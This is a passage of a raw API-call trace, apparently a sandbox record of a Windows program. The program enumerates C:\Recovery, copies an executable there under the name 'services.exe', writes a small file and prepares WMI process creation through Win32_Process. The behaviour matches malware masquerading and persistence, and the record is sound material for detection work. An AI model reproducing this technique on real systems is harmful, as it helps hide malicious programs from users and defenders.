lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0146.474] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.474] FindClose (in: hFindFile=0x1bc46b70 | out: hFindFile=0x1bc46b70) returned 1 [0146.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0146.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0146.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0146.474] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0146.474] FindFirstFileW (in: lpFileName="C:\\Recovery\\*" (normalized: "c:\\recovery\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bc46b70 [0146.475] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.475] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x23f2aa00, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x23f2aa00, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="d327d5c2-7147-11eb-9862-d731c5aaa7a9", cAlternateFileName="D327D5~1")) returned 1 [0146.475] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.475] FindClose (in: hFindFile=0x1bc46b70 | out: hFindFile=0x1bc46b70) returned 1 [0146.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0146.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0146.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0146.475] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9", lpFilePart=0x0) returned 0x30 [0146.476] FindFirstFileW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\*" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x23f2aa00, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x23f2aa00, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bc46b70 [0146.476] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x23f2aa00, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x23f2aa00, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.476] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x20571480, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x20571480, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x2062fb60, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="7a0fd90576e088", cAlternateFileName="7A0FD9~1")) returned 1 [0146.476] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x23f2aa00, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x23f2aa00, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x23f50b60, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="9e3bd0c464004d", cAlternateFileName="9E3BD0~1")) returned 1 [0146.476] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x23e92480, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x23e92480, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x56793222, ftLastWriteTime.dwHighDateTime=0x1d8a510, nFileSizeHigh=0x0, nFileSizeLow=0xcf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="absolutetelnet.exe", cAlternateFileName="ABSOLU~1.EXE")) returned 1 [0146.476] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7844bbf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0146.476] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x20440980, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x20440980, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x56793222, ftLastWriteTime.dwHighDateTime=0x1d8a510, nFileSizeHigh=0x0, nFileSizeLow=0xcf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="explorer.exe", cAlternateFileName="")) returned 1 [0146.476] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 1 [0146.476] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 0 [0146.476] FindClose (in: hFindFile=0x1bc46b70 | out: hFindFile=0x1bc46b70) returned 1 [0146.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0146.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0146.479] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe", lpFilePart=0x0) returned 0x3d [0146.479] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0146.479] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe", lpFilePart=0x0) returned 0x3d [0146.479] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe"), bFailIfExists=0) returned 1 [0146.522] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\c5b4cb5e9653cc", nBufferLength=0x105, lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\c5b4cb5e9653cc", lpFilePart=0x0) returned 0x3f [0146.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0146.522] CreateFileW (lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\c5b4cb5e9653cc" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\c5b4cb5e9653cc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2c8 [0146.523] GetFileType (hFile=0x2c8) returned 0x1 [0146.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0146.523] GetFileType (hFile=0x2c8) returned 0x1 [0146.523] WriteFile (in: hFile=0x2c8, lpBuffer=0x27cba90*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x1bb7e978, lpOverlapped=0x0 | out: lpBuffer=0x27cba90*, lpNumberOfBytesWritten=0x1bb7e978*=0x1bf, lpOverlapped=0x0) returned 1 [0146.524] CloseHandle (hObject=0x2c8) returned 1 [0146.525] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0146.525] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0146.526] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0146.526] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.527] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bcc4ea0) returned 0x0 [0146.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4ea0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0146.528] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4ea0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bbc0a20) returned 0x0 [0146.528] WbemDefPath:IUnknown:Release (This=0x1bcc4ea0) returned 0x0 [0146.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0a20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bbc0a20) returned 0x0 [0146.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0a20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0146.528] WbemDefPath:IUnknown:AddRef (This=0x1bbc0a20) returned 0x3 [0146.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0a20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0146.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0a20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0146.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0a20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bcc4ee0) returned 0x0 [0146.528] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4ee0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0146.528] WbemDefPath:IUnknown:Release (This=0x1bcc4ee0) returned 0x3 [0146.529] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0146.529] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0146.529] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0a20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0146.529] WbemDefPath:IUnknown:Release (This=0x1bbc0a20) returned 0x2 [0146.529] WbemDefPath:IUnknown:Release (This=0x1bbc0a20) returned 0x1 [0146.529] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0146.529] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0146.529] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0a20, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bbc0a20) returned 0x0 [0146.529] WbemDefPath:IUnknown:AddRef (This=0x1bbc0a20) returned 0x3 [0146.529] WbemDefPath:IUnknown:Release (This=0x1bbc0a20) returned 0x2 [0146.529] WbemDefPath:IWbemPath:SetText (This=0x1bbc0a20, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0146.529] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0a20, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0146.529] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0a20, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0146.529] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0a20, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0146.529] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc0a20, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0146.529] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0a20, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0146.529] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc0a20, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0146.530] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0146.530] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0146.530] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0146.530] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.531] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bcc4de0) returned 0x0 [0146.532] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4de0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0146.532] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4de0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bbc0960) returned 0x0 [0146.532] WbemDefPath:IUnknown:Release (This=0x1bcc4de0) returned 0x0 [0146.532] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0960, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bbc0960) returned 0x0 [0146.532] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0960, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0146.532] WbemDefPath:IUnknown:AddRef (This=0x1bbc0960) returned 0x3 [0146.532] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0960, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0146.532] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0960, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0146.532] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0960, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bcc4e60) returned 0x0 [0146.533] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4e60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0146.533] WbemDefPath:IUnknown:Release (This=0x1bcc4e60) returned 0x3 [0146.533] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0146.533] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0146.533] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0960, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0146.533] WbemDefPath:IUnknown:Release (This=0x1bbc0960) returned 0x2 [0146.533] WbemDefPath:IUnknown:Release (This=0x1bbc0960) returned 0x1 [0146.533] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0146.533] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0146.533] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0960, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bbc0960) returned 0x0 [0146.533] WbemDefPath:IUnknown:AddRef (This=0x1bbc0960) returned 0x3 [0146.533] WbemDefPath:IUnknown:Release (This=0x1bbc0960) returned 0x2 [0146.533] WbemDefPath:IWbemPath:SetText (This=0x1bbc0960, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0146.533] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0960, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0146.533] 